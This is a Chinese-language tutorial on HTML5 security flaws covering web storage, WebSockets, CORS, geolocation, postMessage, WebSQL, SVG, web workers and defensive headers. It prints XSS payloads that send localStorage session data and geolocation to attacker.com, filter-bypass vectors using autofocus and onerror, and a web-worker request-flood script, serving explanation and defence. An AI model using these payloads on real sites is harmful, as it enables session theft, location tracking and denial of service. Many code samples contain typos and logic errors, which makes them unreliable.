HTML5攻防向量
根据powermapper出版的统计,他们分析的web页面中超过50%使用了html5 doctype,这意味着它们是html5 web应用
html5非常流行,由于它的一些新特性可以让web应用开发者构建更多的交互式页面。然而,新特性也意味着新,本文分析了引入html5后的一些新特性及随之而来的漏洞
跨站脚本在本文中是一个重点,对html5特点的利用能排在第一,因为许多开发者存储很多敏感数据在客户端。我们要讨论的特性包括webstorage, websql, geoloaction api, cors, cross window messaging, sandboxes iframes, webworkers等,以及它们被不安全使用时引发的相应漏洞
引言
从html4出现至今已经差不多15年了,从那之后发生了很多改变,如今到了html5的时代带来了大量的新特性允许更多的交互性和动态的用户体验
为了提供更多的用户特性并同时减轻服务器的负担,html5允许开发者将越来越多的代码转移至客户端。在html5中,第三方的多媒体插件如flash和sliverlight的使用也减少了,也即减小了第三方插件的攻击面
html5中引入了几个新标签如<audio>, <video>, <svg>, <canvas>, <mathml>等。这些标签有效的减少了开发者所需做出的努力,也减少了对第三方插件如flash的依赖
简单的预览一次下html4和html5有什么不同,如下是两个使用表达验证的案例
复制代码
<html>
<script>
function validate_input()
{
var x = document.forms["form"]["email"].value;
var atpos = x.indexof("@");
var dotpos = x.indecof(".");
if(atpos < 1 || dotpos < atpos +2 || dotpos +2 >= x.length )
{
alert("not a valid e-mail address");
}
return false;
}
}
</script>
<form id = "form" method="post" onsubmit="return validate_input()">
email:<input type="text" name="email">
<input type="submit" value="submit">
</form>
</html>
复制代码
在上面html4的例子中,使用了大量的javascript来验证表单,当开发者需要验证其他输入时,情况就变得复杂了,有时候还要用正则表达式
html5中的表单验证
html5允许开发者使用支持的输入类型如"email", "tel", "data"等,会进行自动验证
<form method="post" id="myform" action="login.php">
<input type="email" name="email">
<input type="submit">
</form>
2. html5安全关注
由于html5应用程序大量使用javascript库促进客户端的动态交互,因此打开了大量的新攻击面如xss和csrf
html5中大多数漏洞都和开发者不安全地使用html5特性和将敏感数据存储在客户端有关,如果客户端信息被窃取,很难追踪攻击,因为所有事情都发生在客户端
默认情况下,html5提供了很少或根本没有提供对sql注入、xss、csrf的保护措施,本文中我们会通过如下列表中的特性强调如果使用不当会引发什么样的漏洞
web storage
cross origin resource sharing
offline web application
geolocation api
websql
cross window messaging
sandboxed iframes
webrtc
2.1 web storage attacks
html5中,开发者可以使用"web storage"方法在客户端存储数据,这个方法给网站管理员一定的灵活性在客户端本地存储大量数据,并保存很长一段时间,html5将web storage分为两种不同类型:
1) 会话存储
2) 本地存储
从概念上来讲,它们并无多大不同,之后将会详细说明
3.1 会话存储
会话存储的概念和cookie类似,不过它可以存储5mb(cokie只能存储4kb,然而,会话存储不是通过http请求传送的,每一个域的页面都有它自己的会话存储对象。同源策略同样适用于它,这意味着同源的页面可以访问其他的会话存储
相比本地存储,会话存储没那么持久,根据规范,当出现如下事件之一时会话存储中的数据将会被删除:
a.用户关闭了窗口
b.用户使用清楚特性删除存储
c.web应用程序通过api调用删除会话存储
3.2 本地存储
本地存储比会话存储持久得多,每个域名只允许一个本地存储。本地存储的大小依赖于客户端使用的浏览器,chrome为每个源2.5m,firefox 5m,ie则为10m。同源策略也适用于本地存储,这意味着只有相同源的策略才可以访问本地存储
从安全的角度来看本地存储十分有趣,因为它不会过期而且即便受害者关闭了浏览器依旧存在,甚至浏览器历史记录被清除了它依然存在着,除非你要求浏览器删除本地存储
根据规范,当如下情况之一发生时本地存储的数据会被删除:
a. 用户使用浏览器清楚特性删除存储
b. web应用程序通过api调用删除本地存储
3.3 本地存储api
web storage流行的一个原因是易于使用,可以通过localstorage api添加、检索、删除本地存储中的项目。本地存储也可以通过使用javascript访问到,如下是使用web storage方法的语法示例
3.3.1 添加项
localstorage.setitem('key','value');
3.3.1 检索项
localstorage.getitem('key');
3.3.3 删除项
localstorage.removeitem('key','value');
3.3.4 删除所有项
localstorage.clear();
3.4 会话存储api
同样可以通过使用会话存储api添加、检索、删除项
3.4.1 添加项
sessionstorage.setitem('key','value');
3.4.2 检索项
sessionstorage.getitem('key');
3.4.3 删除项
seesionstorage.removeitem('key','value');
3.4.5 删除所有项
sessionstorage.clear();
3.5 html5 web storage的安全关注
a. web storage中的数据是未的,这意味着存储在web storage中的任何敏感信息如cookie和代码都无法保证其完整性
b. 如果web应用易遭受跨站脚本攻击,攻击者就可以从web storage中窃取信息
c. 不像cookie,web storage没有httponly和secure标识,由于web storage是javascriptapi api,它的设计就是让javascript访问web storage
d. 如果存储在web storage中的数据被写到使用了脆弱代码的页面中,可能会导致dom型xss
3.6 通过xss窃取本地存储数据
正如前面提到的,一个跨站脚本漏洞就可以让攻击者从web storage中窃取信息,下面是使用getitem方法窃取会话标识符并发送给攻击者的poc:
<img src='http://attacker.com/cookie.php?id="+localstorage.getitem('sessionid')+"'>");></img>
下面的载荷可以窃取所有的本地存储数据并发送给攻击者
复制代码
<script>
for( i in localstorage)
{
var key = i;
var value = localstorage.getitem(i);
}
var d=new image();
i.src='//attacker.com/stealer.php' + key + value;
</script>
复制代码
3.7 基于dom的存储型攻击
下面列表是常见的基于dom xss的输入源:
document.url
document.documenturl
document.urlunencoded
document.baseurl
location
location.href
location.search
location.hash
localtion.pathname
下列是一些常见的容易产生问题的方法、属性
eval
window.setinterval
document.write
document.body.innerhtml
window.location.href
elem.setattribute(href | src)
参考:https://code.google.com/p/domxsswiki/wiki/executionsinks
3.8 基于dom的xss案例
复制代码
if(!localstorage.getitem('whereami')){
_whereami = "inser a new value";
localstorage.setitem('whereami',json.stringify(_whereami));
} else{
_whereami = json.parse(localstorage.getitem('whereami'));
}
document.getelementbyid('result').innerhtml = _whereami;
return;
}
复制代码
上面的代码存在存储的dom型xss,第二行接受参数并将其存储在"_whereami"变量中。接下来的一行,代码插入"key"和通过用户输入检索的值到本地存储中。再接下来,使用innerhtml属性写入到页面中,而这存在存储的dom型xss
4. websockets攻击
由于http协议给实时应用程序引起了很大的负担,w3c工作组引入了一个新的协议websocket以满足应用程序的实时需要
websocket协议将已有的http链接升级到websocket并使用全双工链接,允许同时双向的连接。它的到来,实时应用程序的负担减小到了应用层大约每个包两个字节,因而越来越多的开发者开始用它
4.1 websocket攻击安全关注
4.1.1 拒绝服务问题
由于其设计,websocket协议可被利用引起客户端和服务器端的资源耗尽
4.1.2 客户端拒绝服务
根据规范,和http相比,由于被设计来保存连接活跃,websocket有一个更高的连接限制,此前html5开发人员不得不使用keep-alive头
攻击者可以通过websocket发送恶意内容,用尽允许的所有websocket连接并引起拒绝服务
不同浏览器有不同的最大连接次数,firefox最小为200,chrome则为3200
4.1.3 服务器端拒绝服务
由于攻击者可以从电脑生成大量到服务器的连接,还可以使连接持久,是一个引发资源耗尽的潜在问题
4.1.4 数据机密性问题
websocket连接可以建立在未加密和加密的信道上,这取决于websocket如何实施。如果客户端使用ws://url协议和服务器端的websocket交互,和服务器通信及来自服务器的任何东西都能被相同网络中的攻击者拦截
参考:https://github.com/randomstorm/scripts/blob/master/websockets.html
4.1.5 websocke中的跨站脚本问题
参考: http://kotowicz.net/xss-track/track.js?websocket=1
可以用于静悄悄的记录从websocket发送和接收的信息
4.1.6 websocket跨站脚本poc
http://example.com/websockets.php?text=<script src=” http://kotowicz.net/xss-track/track.js?websocket=1”
5. html5 xss向量
除了新标签,html5也有一些新属性和事件可以帮助攻击者绕过一些安全机制,如waf,其依赖于基于黑名单的签名。其中一个方便的属性时autofocus,它可以被事件处理器如onfocus、onblur使用,在没有用户交互的情况下执行javascript
鉴于几个新的事件处理器被引入了,黑名单被设置为阻塞所有html4的事件处理器,但新的事件处理器可以被用来避开waf中的黑名单执行javascript,除非使用正则表达式拦截所有on*
5.1 案例1 被阻塞的标签
在常见标签如<script>, <object>, <isindex>, <img>或<iframe>被过滤器阻塞的情况下,html5引入了一些新标签可以绕过黑名单
<video onerror="javascript:alert(1)"><source>
<audio onerror="javascript:alert(1)">
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
5.2 案例2 属性上下文
当尖括号(开、闭)被过滤掉时,正常上下文就无法实现xss了。然而,有时候输入在属性元素中被反射,html5时间处理器可以在没有交互的情况下执行javascript代码,同样也可以绕过基于黑名单的保护
5.2.1 下面场景中,开、闭尖括号都被过滤
<input type=”text” value=”yourinput”>
下面的xss向量可以在没有用户交互的情况下执行javascript
" onfocus=alert(1) autofocus x="
" onfocusin=alert(1) autofocus x="
" onfocusout=alert(1) autofocus x="
" onblur=alert(1) autofocus x="
标记完成后即为:<input type=”text” value=”” autofocus onfocus=alert(1) a=””>
6. cors 垮域资源共享
要理解跨域资源共享,首先需要理解同源策略,所谓同源即指相同协议、相同域名、相同端口
值得注意的是,同源策略并不适用于css、图片等,仅当javascript视图访问其他源的文档内容时同源策略才被触发
6.1 crossdomain.xml
<cross-domain-policy>
<allow-access-from domain="targeta.com"/>
</cross-domain-policy>
6.2 什么是cors
由于两个不同源的页面无法相互通信,即便它们有相互信任关系,html5中引入了cors,允许跨域http请求,更重要的是跨域ajax请求
6.3.1 例
假设a.com的页面想使用cors访问b.com的页面内容,浏览器首先发送一个来源请求定义想通信的网站来源
origin: http://a.com
如果b.com允许来自a.com的跨域请求,它会在响应中返回一个control-allow-origin头,提示该域被允许访问b.com的资源
access-control-allow-origin: http://www.a.com
6.3.2 安全问题
如下设置是不安全的:access-control-origin:*
6.3.3 poc
<p id = "results"></p>
<script>
var cor = new xmlhttprequest();
cor.onreadystatechange = function()
{
document.getelementbyid('result').innerhtml = cor.responsetext;
}
cor.open('get','http://b.com/cors.php');
cor.send();
</script>
</p>
//cors.php
//<?php header('access-control-allow-origin: *'); ?>
//<p>this file is hosted at targetb.com to demonstrate that it’s accessible via cross origin requests</p>
7. geolocation api
html5中可以使用geolocation api追踪用户的地理位置,当然这得用户同意,不然会引发隐私问题
7.1 安全关注
geolocation的一个主要问题是跨站脚本攻击,因为追踪地理位置的对象放在javascript可以访问的dom中
由于用户大多信任网站,他们会信任该请求并分享他们的位置,更糟糕的是,除非用户关闭追踪,浏览器会持续暴露受害者的位置给攻击者
7.1.1 例
假设攻击者在一个著名网站上发现了xss漏洞如w3school.com,他所需做的就是让受害者执行下列代码片段窃取位置信息
复制代码
<script>
var function getlocation()
{
navigator.getlocation.getcurrentposition(showposition);
}
function showposistion(position)
{
var pos = "latitude:" + postion.coords.latitude + "<br>longitude" + postion.coords.longitude;
location.href = 'http://attacker.com/stealer.php?pos='+pos;
}
getlocation();
</script>
复制代码
上面的代码使用dom属性coords.latitude和coords.longitude分别获取latitude/longitude,一旦受害者执行了javascript就会收到浏览器的通知信息
8. 客户端rfi
cors除了配置不当允许任何其他域的站点能访问页面信息,还会触发xss
8.1 漏洞示例
复制代码
<html>
<body>
<script>
var url = location.hash.substring(1);
var xhr = new xmlhttprequest();
xhr.open("get",url,true);
xhr.onreadystatechange = function() {
if (xhr.readystate == 4 && xhr,status == 200){
document.getelementbyid("main").innerhtml = xhr.responsetext;
}
};
xhr.send(null);
</script>
</body>
</html>
复制代码
上面的代码使用location.hash属性载入合法内容,如http://target.com/#index,如果配置不当,就可能变成http://target.com#//evidata.com,使用innerhtml属性插入到dom中,引发dom xss
假设evildata.com上的脚本xss.php,代码为:
<?php
header('access-control-allow-origin:*');
?>
<p id = "main">
<img src=x onerror = alert(document.cookie) />
</p>
当请求为http://target.com/#//evildata.com/xss.php时,就会触发dom xss
8.2 更安全的示例
复制代码
<html>
<body>
<script>
var allowed = ["/", "/index","test"];
var index = location.hash.substring (1) | 0;
var xhr = new xmlhttprequest();
xhr.open ("get", allowed[index] | | '/', true);
xhr.onreadystatechange = function () {
if (xhr.readystate == 4 && xhr.status == 200) {
p.innerhtml = xhr.responsetext;
}
};
xhr.send (null);
</script>
</body>
</html>
复制代码
9. 跨窗口消息
9.1 发送者的窗口
假设a.com上的窗口想发送消息给b.com的监听窗口,发送消息的代码:
window.postmessage("message","a.com");
9.2 接受者的窗口
首先要建立一个接收器:
window.addeventlistener("message",receivemessage,false);
receivemessage function(event){
if (event.origin != "http://a.com"){
return;
}
else{
event.source.postmessage("message received");
}
}
9.3 安全关注
来源没有检查:
window.addeventlistener ("message", receivemessage, false);
receivemessage function (event) {
event.source.postmessage("message recieved");
}
dom型xss:使用dom方法显示数据,会导致dom xss,当使用了eval(),document.write等时
<script>
window.onmessage = fuction(e){
if (e.origin !== "http://html5demos.com")
{
return;
}
document.getelementbyid("test").innerhtml = e.origin + " said: " + e.data;
};
</script>
10. sandboxed iframes
默认情况下,正常的normal会从目的地加载所有内容包括html,css和javascript。随着sandboxed iframe的到来,我们可以声明被加载到iframe的内容:
<iframe sandbox src = "http://evil.example.com/"></iframe>
使用sandbox属性从iframe嵌入网站,它会阻止javascrip执行;如果想执行javascript,可以:
<iframesandbox="allow-scripts" src="http://evil.example.com/"></iframe>
10.1 关注
if(window!==window.top){window.top.location = location;}
上面这行代码会阻止网站被加载到iframe,然而如果使用了沙箱化的iframe,上面的代码就不起作用,推荐使用x-frame-options
11. 线下应用程序
默认情况下,正常浏览器缓存不会让你缓存所有文件,引入html5应用缓存后,被允许缓存任何文件,并且是一段更长的时间。应用程序缓存被创建用于线下浏览web应用程序,可以显著减轻服务器负担,浏览器也只会下载更新后的内容
开启该功能需要使用线下manifest文件:
<!doctype html>
<html manifest="example.appcache">
</html>
manifest文件的结构如下:
cache manifest: //必须遵循,指定被缓存的文件
/style.css
/script.js
example.jpg
network: //指示浏览器那个页面永远不被缓存或无法通过offline用途获取
admin.php
autheticated.php
fallback: //可选,如果由于网络原因不可访问某个页面时,url回调offline.html
//offline.html
11.2 安全关注
主要关注在于使用长时间的应用程序缓存可以实施缓存毒化 //服务器返回404会导致缓存被删除
12. websql
websql目的单一,创建现在应用程序以允许客户端更大的存储空间
3个核心方法:
1. opendatabase --用于访问已有的或新的
2. transaction --允许你控制事物
3. executesql --用于执行sql查询
12.1 安全关注
主要关注:sql注入、跨站脚本
12.2 sql注入
历史上的sql注入只对应于服务器端脚本语言,由于websql的缘故我们可以在客户端存储数据并和数据库交互,必须通过javascript调用本地数据库。开发者如使用动态查询而不是预处理语句就会导致sql注入
不安全:t.executesql("select passwoed from users where id = " + id);
安全的:t.executesql("select password from users where id = ?",[id]);
客户端事物sql注入,我们被限制于inert、update、delete数据库数据,攻击者不可能通过客户端sql注入从数据库检索数据,其影响取决于存储在数据库中的数据[重写应用程序要读取的数据]
12.3 跨站脚本
a. 用户输入在插入到数据库前未过滤且渲染给了用户,随后引发xss漏洞;
b. 用户输入被过滤,渲染输出后为被转义,导致xss漏洞;
12.3.1 示例
复制代码
function(tx)
{
tx.executesql('select * from tweet_db',[],function(tx,result);
{
var inv_i = result.rows.length -1;
for(i = (results.rows.lenght-1); i >= 0; i--)
{
t = t + "<p><p class='tw'>" = result.rows.items(i).tweet + "</p></p>";
}
document.getelementbyid('result').innerhtml = t;
}
}
复制代码
13. svg (scalable vector graphics)
html5中可直接嵌入svg
<!doctype html >
<html>
<body>
<h1>pseudo_z svg </h1>
<svg width="100" height="100">
<circle cx = "50" cy = "50" r="40" stroke="green" stroke-width="4" fill="yellow" />
</svg>
</body>
</html>
svg文件允许活跃内容如javascript被执行[作为一个广泛的攻击面],图片或img标签里的svg文件不会执行javascript,如<img src= http://tartgetdomain.com/pic.svg>
然而,如果受害人下载了svg图形并用浏览器打开,嵌入的javascript便会执行,可以用来读取本地文件、加载java applets等
14. webworkers
html5之前,dom和javascript以单线程运行,当执行页面中大量javascript时引起了很多问题,使得在脚本全部加载之前无法响应。随着webworkers的引入,现在可以多线程运行javascript
webworkers没有对odm元素的访问,如果有的话会引起并行性问题,然而它通常允许我们用xhr发送域内或跨域请求
14.1 创建webworker
var w =new worker("worker.js");
14.1.1 发送/接收消息
复制代码
<!doctype html>
<html>
<head>
<script>
var worker=new worker("worker.js"); // creating a new worker thread to load javascript.
worker.postmessage("foo"); // using postmessage to send a message to webworkers.
worker.onmessage=function(evt){ // function receive data from worker.js
document.getelementbyid("result").innerhtml=evt.data; // outputting the data.
}
</script>
<p><b>data received from webworker:</b></p><p id="result"></p>
<head>
</body>
</html>
复制代码
//worker.js
onmessage = function(evt){ //function used to receive data from the main thread
var w = evt.data; //the received data is saved to evt.data
postmessage(w); // it's the posted back to the main thread
}
14.2 跨站脚本漏洞
复制代码
var worker = new worker("worker.js");
worker.postmessage("foo");
worker.onmessage = function(evt){
document.getelementbyid("result").innerhtml = evt.data;
}
var g_w = new xmlhttprequest();
g_w.open("get","www.espncricinfo.com/get_score.php");
g_w.send();
g_w.onreadystatechange = function()
{
if(g_w.readystate == 4)
{
if (parseint(g_w.responsetext) > 100)
{
postmessage(g_w.responsetext);
}
}
}
复制代码
14.3 分布式拒绝服务攻击
鉴于webworkers可以用来发送跨域请求,dos背后的想法是使用多个webworker,对特定域名发送多个请求,chrome和safari每分钟可以发送超过10k个跨域请求
如果可以诱骗别人访问某个页面,就可以发送大量请求;若目标网站收到的请求不是来自白名单中的域,浏览器便不会让攻击者发送更多的请求
//dos.html --> 后台创建一个worker,来自event.data的响应通过innerhtml属性写入到dom中
复制代码
<html>
<script>
var w = new worker('dos.js');
w.onmessage = function(event)
{
document.getelementbyid('out').innerhtml = event.data;
}
function start()
{
w.postmessage(1);
}
</script>
<input type = "submit" onclick="start()">
<p id="out"></p>
</html>
复制代码
//dos.js
inmessage = function(event){start()}
function start()
{
var i = 0;
var st = (new data).gettime();
while(i<5000)
{
var cor = new xmlhttprequest();
cor.open('get','http://targetfor.com');
cor.send();
}
msg = "completed " + i + " requests in " + (st - (new date).gettime()) + "miliseconds";
postmessage(msg);
}
14.4 分布式密码
这个问题本身并不是webworker的漏洞,更多的是设计缺陷。html5之前,javascript被认为不适合用来做密码破解,因为它在浏览器中是单线程,如果运行次数太多的话会让浏览器宕掉。有了webworkers,情况发生了改变,浏览器不会宕掉
"ravan"
15. 窃取自动完成功能存储的用户数据
html5的自动完成是将表单输入缓存起来,并在下一次输入时进行预测
保存的自动填充域的数据无法通过javascript访问,它并不是dom的一部分,然而还是可以通过社会工程等方法收集到这些信息
16. 扫描私有地址
html5有一个特性叫webrtc,由于其设计,可以用来扫描私有地址,发现本地区域网络的其他主机,指纹识别
16.1 webrtc
webrtc是web real time communication,用于使能一实时通信插件如voice和video。应用程序如skype,facebook早已使用实时通信,然而他们都要求插件能有效地工作。安装和调试插件需要巨大的工作量,webrtc的引入,使得它大大减少了
webrtc的一大功能就是能发现本地ip:
view code
17. 安全头部加强安全性
17.1 x-xss-protection
chrome、ie等浏览器都有自己的xss过滤器,且默认是开启的,服务器可以通过其请求控制该策略的开关
a. x-xss-protection:0 -->如响应中包含这个头部,它会指示浏览器关闭xss filter
b. x-xss-protection:1 -->如响应中包含这个头部,它会指示浏览器开启xss filter
c. x-xss-protection: 1; mode = block --> 开启xss filter,如xss漏洞检测到则显示空白
17.2 x-frame-options
x-frame-options不仅能使你免于点击劫持漏洞,还有无数xss漏洞的变种
x-frame-options:deny -->浏览器不会加载iframe中的应用
x-frame-options:sameorgin --> 仅当同源时,才会加载ifrmre里面的内容
x-frame-options:allow-from url http://target.com -->仅允许指定加载到iframe的应用中
17.3 strict-transport-security
strict-transport-security: max-age=31536000 // 过期时间,单位秒
strict-transport-security: max-age=31536000; includesubdomains //子域名都用https
17.4 x-content-type-options
由服务器返回,控制内容被浏览器渲染的方式,eg. //ie6、ie7无法识别
content-length:94
content-type:application/json;charset = utf-8
{
"name":"pseudo_z",
"value":"<img src=x onerror=prompt(1)>"
}
x-content-type-options:nosniff
17.5 csp [cotent-security-policy]
x-content-security-policy: script-src http://code.jquery.com/jquery-1.11.0.min.js;
default-src :没有明确定义其他指令时的默认指令
script-src :用于定义所有脚本中的白名单
style-src :用于定义所有样式表的白名单
img-src :定义图片资源的白名单
frame-src :定义frame资源的白名单
'none': 不允许任何来源的访问
'self'; 仅允许同源访问
'unsafe-inline':允许如scripts/style的内联javascript访问
'unsafe-eval':允许使用eval(),settimeout等
eg.
allow ‘self’;
img-src *;
object-src self;
script-src userscripts.js;
report-uri http://target.com/report.cgi //策略被违反是会触发报告